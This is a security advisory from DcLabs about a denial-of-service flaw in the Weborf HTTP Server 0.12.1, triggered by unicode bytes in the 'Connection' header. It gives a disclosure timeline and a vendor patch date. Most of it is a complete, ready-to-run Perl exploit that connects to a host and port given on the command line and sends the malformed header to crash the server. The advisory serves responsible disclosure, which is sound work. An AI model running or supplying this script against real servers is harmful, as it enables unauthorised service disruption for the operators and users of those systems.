64 lines
No EOL
1.4 KiB
Text
64 lines
No EOL
1.4 KiB
Text
[DCA-0012]
|
|
|
|
[Software]
|
|
- Weborf HTTP Server
|
|
|
|
[Vendor Product Description]
|
|
- Weborf is a lightweight Web server written in C. It supports IPv6
|
|
and basic authentication. It doesn't implement the full HTTP
|
|
specification, but can be used to easily share directories or files.
|
|
|
|
[Bug Description]
|
|
- Weborf HTTP Server can't handle unicode characters in "Connection: "
|
|
general header-field leading to a Denial-of-Service flaw
|
|
|
|
[History]
|
|
- Advisory sent to vendor on 06/21/2010.
|
|
- Vendor reply 06/22/2010.
|
|
- Vendor patch published 06/23/2010
|
|
|
|
|
|
[Impact]
|
|
- Low
|
|
|
|
[Affected Version]
|
|
-Weborf 0.12.1
|
|
- Prior versions may also be vulnerable.
|
|
|
|
[Exploit]
|
|
|
|
#!/usr/bin/perl
|
|
use IO::Socket;
|
|
|
|
if (@ARGV < 1) {
|
|
usage();
|
|
}
|
|
|
|
$ip = $ARGV[0];
|
|
$port = $ARGV[1];
|
|
|
|
print "[+] Sending request...\n";
|
|
|
|
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr =>
|
|
"$ip", PeerPort => "$port") || die "[-] Connection FAILED!\n";
|
|
print $socket "GET / HTTP/1.0\r\n";
|
|
print $socket "Connection: ". "\0x99" x 4 ."\r\n\r\n";
|
|
|
|
close($socket);
|
|
|
|
print "[+] Done!\n";
|
|
|
|
sub usage() {
|
|
print "[-] Usage: <". $0 ."> <host> <port>\n";
|
|
print "[-] Example: ". $0 ." 127.0.0.1 80\n";
|
|
exit;
|
|
}
|
|
---------------------------------------------------------------------------------
|
|
-------
|
|
|
|
DcLabs Security Group
|
|
Sponsor: ipax
|
|
ipax@dclabs.com.br
|
|
|
|
[Credits]
|
|
Crash and all DcLabs members. |